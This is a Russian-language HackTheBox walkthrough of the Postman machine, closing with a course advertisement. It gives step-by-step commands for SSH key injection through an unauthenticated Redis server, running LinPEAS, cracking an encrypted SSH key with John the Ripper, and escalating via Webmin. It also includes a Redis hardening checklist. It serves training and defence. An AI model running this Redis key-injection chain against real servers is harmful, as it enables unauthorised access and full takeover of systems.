Прохождение HTB машины easy: открытый Redis, слабый SSH-ключ и логика выбора цели

Четыре открытых порта, три часа на directory brute force по HTTP-серверу, результат — статичная заглушка без единой формы ввода. Знакомо? Путь к root на easy-машине Postman (HackTheBox) лежал через Redis на порту 6379, до которого можно было добраться за 15 минут. По данным Mandiant M-Trends 2025, эксплуатация публичных сервисов — первый вектор initial access в 38% реальных инцидентов. На HTB этот вектор тренируется руками. И разница между «решил за 20 минут» и «застрял на полдня» — не знание эксплойта, а умение выбрать цель.
Выбор цели в пентесте: методология вместо случайного перебора
Пентест (тестирование на проникновение — проверка безопасности системы методами реального злоумышленника) строится по цепочке: разведка → выбор вектора → эксплуатация → повышение привилегий. В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1595 — её идентификаторы) это движение от Active Scanning (T1595, Reconnaissance) к Exploit Public-Facing Application (T1190, Initial Access) и далее к Privilege Escalation. Момент, который не проговаривают в большинстве writeup-ов: между «увидел открытые порты» и «запустил эксплойт» стоит этап приоритизации. Именно тут новички теряют часы.
Логика расстановки приоритетов:
- Сервисы без аутентификации — если для входа не нужен пароль, это первый кандидат. Redis, Memcached, открытые MongoDB часто торчат наружу с дефолтной конфигурацией.
- Сервисы с известными CVE под конкретную версию — nmap показал версию, под неё есть публичный эксплойт? Следующий приоритет.
- Сервисы с формой логина — SSH, Webmin. Сюда идём, когда нашли учётные данные на предыдущих этапах.
- Статичные веб-страницы — если на 80-м порту «Under Construction» без форм и скриптов, тратить время до анализа остальных сервисов бессмысленно.
Для многих Postman — первая машина HackTheBox с нетривиальным вектором. Именно здесь формируется привычка: сначала полная картина, потом действие.
Enumeration перед эксплойтом: что показывает nmap
Каждое прохождение HTB машины easy начинается со сканера портов nmap — утилиты, которая определяет, какие сетевые сервисы доступны на целевой машине.
Что нужно перед стартом: Kali Linux (или Parrot OS) и активное VPN-подключение к HTB. После sudo openvpn lab.ovpn в интерфейсе tun0 появится IP вида 10.10.x.x — через него идёт весь трафик к машинам.
Быстрый скан всех портов: nmap -p- --min-rate 10000 10.10.10.160. Флаг -p- проверяет все 65535 портов, --min-rate 10000 ускоряет процесс. В лабораторной среде HTB можно шуметь — тут нет SOC (Security Operations Center — команда мониторинга), который среагирует на интенсивное сканирование. Затем — детальный скан найденных портов:
nmap -p 22,80,6379,10000 -sC -sV 10.10.10.160
# -sC — дефолтные NSE-скрипты (проверка типовых уязвимостей)
# -sV — определение версий ПО на каждом порту
# Ожидаемый вывод: таблица PORT / STATE / SERVICE / VERSION
Типичный результат на машине с Redis-вектором:
| Порт | Сервис | Версия | Что это значит для пентестера |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 7.6p1 | Удалённый доступ. Без учётных данных бесполезен |
| 80/tcp | HTTP | Apache 2.4.29 | Веб-сервер. Может быть заглушкой |
| 6379/tcp | Redis | 4.0.9 | In-memory БД. Дефолтный порт |
| 10000/tcp | Webmin | MiniServ 1.910 | Админ-панель ОС через браузер. Нужен логин/пароль |
Теперь — ход мыслей, и он тут важнее команд. Redis 4.0.9 — версия без серьёзного hardening, который появился только в Redis 7+. Порт 6379 открыт наружу — сервис слушает не только на localhost. Высокая вероятность, что пароль не задан. Это Active Scanning (T1595) в чистом виде: сканируем, анализируем, формируем гипотезу и проверяем её первой.
HTTP на 80-м порту? Статичная страница «The Cyber Geek’s Personal Website» без интерактивных элементов. Перебор директорий через gobuster не даст точки входа. Webmin на 10000? Там форма логина — без учётных данных заходить некуда. Redis — единственный сервис, куда можно постучаться прямо сейчас.
Redis без аутентификации: уязвимость и путь к shell
Redis (Remote Dictionary Server) — быстрая in-memory база данных, хранящая данные в оперативной памяти. Контекст, без которого уязвимость не понять: Redis изначально проектировался для работы внутри доверенной сети. По исследованию jsmon.sh, старые версии по умолчанию не требовали пароля и слушали на всех сетевых интерфейсах (0.0.0.0). Protected mode появился в версии 3.2, но администраторы регулярно отключают его ради удобства.
С точки зрения OWASP A05:2021 Security Misconfiguration (категория из рейтинга критичных рисков — небезопасные настройки по умолчанию), Redis без пароля — учебный пример.
Бизнес-логика атаки: зачем злоумышленнику Redis
В реальных инцидентах открытый Redis — не «чтение чужих данных». По данным jsmon.sh, последствия серьёзнее: полный захват сервера (через SSH key injection или webshell), эксфильтрация данных из кэша (сессионные токены, API-ключи, PII), lateral movement (скомпрометированный сервер становится плацдармом для атаки на внутреннюю сеть) и даже ransomware. По IBM X-Force Threat Intelligence Index 2025, атаки с использованием действительных или отсутствующих учётных данных выросли на 71% за 2024 год. Redis без пароля — ровно этот случай.
Проверка доступа и рекогносцировка
Установите клиент: sudo apt-get install redis-tools (если его нет в Kali). Подключение: redis-cli -h 10.10.10.160. Если видите приглашение 10.10.10.160:6379>, введите INFO. Длинный список серверной статистики (версия, ОС, количество подключённых клиентов) вместо ошибки -NOAUTH Authentication required означает: инстанс открыт, аутентификация не настроена. Команда KEYS * покажет текущие ключи в базе — на чистой HTB-машине обычно пусто.
Почему открытый Redis — это запись файлов на диск
Вот что делает Redis по-настоящему опасным. Команды CONFIG SET dir и CONFIG SET dbfilename позволяют указать, КУДА и ПОД КАКИМ именем Redis сохранит дамп базы при выполнении SAVE. Фактически — почти произвольная запись файлов от имени пользователя, под которым работает Redis-процесс. «Почти» — потому что Redis записывает бинарный дамп RDB-формата, и вокруг ваших данных будет «мусор» (служебные заголовки). Но ряд сервисов в Linux толерантен к посторонним строкам: SSH-демон при чтении authorized_keys игнорирует непарсящиеся строки, cron прощает пустые строки между заданиями.
По данным HackTricks, это открывает три вектора (все работают на Redis 4.x–5.x; в Redis 7+ команды CONFIG SET dir/dbfilename заблокированы по умолчанию):
| Вектор | Куда записываем | Что получаем | Предусловие |
|---|---|---|---|
| SSH key injection | ~/.ssh/authorized_keys |
Shell от пользователя Redis | SSH работает, .ssh/ существует |
| Crontab injection | /var/spool/cron/crontabs/ |
Reverse shell по расписанию | Cron активен, директория доступна |
| Webshell | /var/www/html/shell.php |
Команды через HTTP | Известен абсолютный путь к webroot |
На easy-машинах HTB чаще всего работает SSH key injection — его и разберём пошагово.
Инъекция SSH-ключа через Redis: CTF пентест пошагово
Суть: генерируем пару SSH-ключей, записываем публичный ключ в Redis как значение, затем говорим Redis сохранить базу в файл authorized_keys в домашней директории пользователя redis. После этого подключаемся по SSH с приватным ключом — Exploit Public-Facing Application (T1190).
Что нужно: redis-tools и ssh-keygen установлены (оба есть в Kali по умолчанию).
Шаг 1. Определите домашнюю директорию Redis. Подключитесь: redis-cli -h 10.10.10.160. Выполните CONFIG GET dir — ответ покажет текущую рабочую директорию, обычно /var/lib/redis. Проверьте: CONFIG SET dir /var/lib/redis/.ssh — если вернулось OK, директория .ssh существует. Частая ошибка — использовать /home/redis/, потому что так стоит в автоматических эксплойтах. Сервисный пользователь redis живёт не в /home/, а в /var/lib/. Эта мелочь стоит людям часа-двух отладки.
Шаг 2. Сгенерируйте SSH-ключ. На вашей машине: ssh-keygen -t rsa -f redis_key (без passphrase — в лабораторной среде допустимо). Оберните публичный ключ переносами строк: (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt. Переносы нужны, чтобы ваш ключ оказался на отдельной строке среди бинарного «мусора» RDB-дампа — SSH-демон (sshd) читает authorized_keys построчно и игнорирует непарсящиеся строки.
Шаг 3. Запишите ключ и сохраните на диск:
cat spaced_key.txt | redis-cli -h 10.10.10.160 -x set ssh_key
# OK — ключ записан в память Redis
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh
# OK — рабочая директория Redis изменена
redis-cli -h 10.10.10.160 config set dbfilename authorized_keys
# OK — имя файла для дампа базы задано
redis-cli -h 10.10.10.160 save
# OK — дамп записан: /var/lib/redis/.ssh/authorized_keys
Если открыть получившийся authorized_keys, внутри будет бинарный заголовок Redis, затем ваш публичный ключ на отдельной строке (начинается с ssh-rsa AAAA...), а после — ещё порция служебных данных. sshd проигнорирует всё, кроме строки с ключом.
Шаг 4. Подключитесь по SSH. Команда: ssh -i redis_key redis@10.10.10.160. Ожидаемый результат — shell от имени redis. Проверка: id покажет что-то вроде uid=107(redis) gid=114(redis). Это Command and Scripting Interpreter: Unix Shell (T1059.004) — выполнение команд через SSH-сессию.
Если SSH отвечает Permission denied: проверьте, что указываете приватный ключ (redis_key), а не публичный (redis_key.pub); убедитесь, что путь в CONFIG SET dir был верным; повторите запись с дополнительными \n в spaced_key.txt.
Слабый SSH приватный ключ: подбор пароля и повышение привилегий
Shell от имени redis — это foothold (точка опоры), но ещё не user-флаг. Следующий этап — File and Directory Discovery (T1083): ищем полезные файлы на системе.
Автоматизировать помогает LinPEAS — скрипт для обнаружения путей повышения привилегий в Linux. Скачайте его на целевую машину через wget, сделайте исполняемым (chmod +x linpeas.sh), запустите: bash linpeas.sh. Скрипт проверяет сотни потенциальных точек: SUID-бинарники (программы, которые исполняются с правами владельца, а не запустившего), доступные cron-задания, читаемые приватные ключи.
Подбор SSH ключа: брутфорс пароля
На машинах с Redis-вектором типичная находка — зашифрованный приватный SSH-ключ другого пользователя в бэкапах (например, /opt/id_rsa.bak). Заголовок файла содержит строку Proc-Type: 4,ENCRYPTED — ключ защищён паролем. Используем ssh2john для конвертации ключа в формат John the Ripper (инструмент для подбора паролей по словарю): ssh2john id_rsa_matt > matt_key.hash. Затем: john matt_key.hash --wordlist=/usr/share/wordlists/rockyou.txt. На слабом пароле результат появится за секунды — в буквальном смысле.
С полученным паролем пробуем su matt из shell-сессии redis. На HTB-машинах пароль от SSH-ключа часто совпадает с системным паролем пользователя. Если su сработал — забирайте user-флаг из ~/user.txt.
Для root-флага: пароль пользователя Matt может подойти к Webmin на порту 10000. Webmin — админ-панель ОС через браузер, нередко работающая от root. С аутентифицированной сессией доступна эксплуатация известных уязвимостей сервиса — Exploitation for Privilege Escalation (T1068). Полная цепочка: Redis (без пароля) → SSH (инъекция ключа) → LinPEAS (находка бэкапа) → John (подбор пароля) → Webmin (RCE от root).
Основы пентеста для начинающих: ошибки и защитные меры
Типичные ошибки при прохождении HTB easy
Неправильный путь к домашней директории. Автоматические эксплойты для Redis по умолчанию используют /home/redis/, но сервисный пользователь живёт в /var/lib/redis/. Всегда проверяйте CONFIG GET dir перед записью файлов.
Пропуск этапа enumeration. Запуск эксплойта до полного скана портов — классика. На машине с Redis и Webmin пропуск Webmin означает потерю вектора для root.
Чтение writeup целиком до попытки. Writeup как пошаговая шпаргалка не учит выбирать направление. Заглядывайте после того, как застряли минимум на 30 минут, и не дальше следующего шага. Иначе вы тренируете навык копирования, а не мышления.
Защитные меры: чеклист администратора
Со стороны защиты Redis без пароля — это одновременно OWASP A05:2021 Security Misconfiguration и A07:2021 Identification and Authentication Failures:
requirepassс длинным паролем вredis.conf(Redis 6+ — ACL с отдельными пользователями)bind 127.0.0.1— слушать только на localhost, если внешний доступ не нуженrename-command CONFIG ""— отключить опасные команды (CONFIG,FLUSHALL,MODULE)- Файервол — порт 6379 не должен быть доступен из интернета (Inbound Traffic Filtering, D3-ITF по классификации MITRE D3FEND)
- Минимальные привилегии — Redis работает от непривилегированного пользователя без
.ssh/в домашней директории
Большинство writeup-ов на HTB-машины — последовательность команд: «введи это, получи то». Копируешь — работает. Не копируешь — не работаешь. Проблема в том, что такой подход воспроизводит действия, но не мышление. На easy-машинах это незаметно: один-два реальных вектора, промахнуться сложно. На medium — уже три-четыре варианта, большинство тупиковых. Способность сказать «Redis без пароля — иду сюда первым, а HTTP-заглушку оставлю на потом» — ровно то, что отделяет оператора команд от пентестера. Этот навык не приходит из чтения. Он формируется через десятки повторений с осознанным выбором направления. Десять easy-машин с проговариванием логики выбора дадут больше, чем сорок прохождений по копипасте. Если только начинаешь и хочешь формировать эту базу системно, а не методом случайных статей — на IB Basics берут с любого старта и показывают, что делать в первый месяц, а не запоминать терминологию.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.
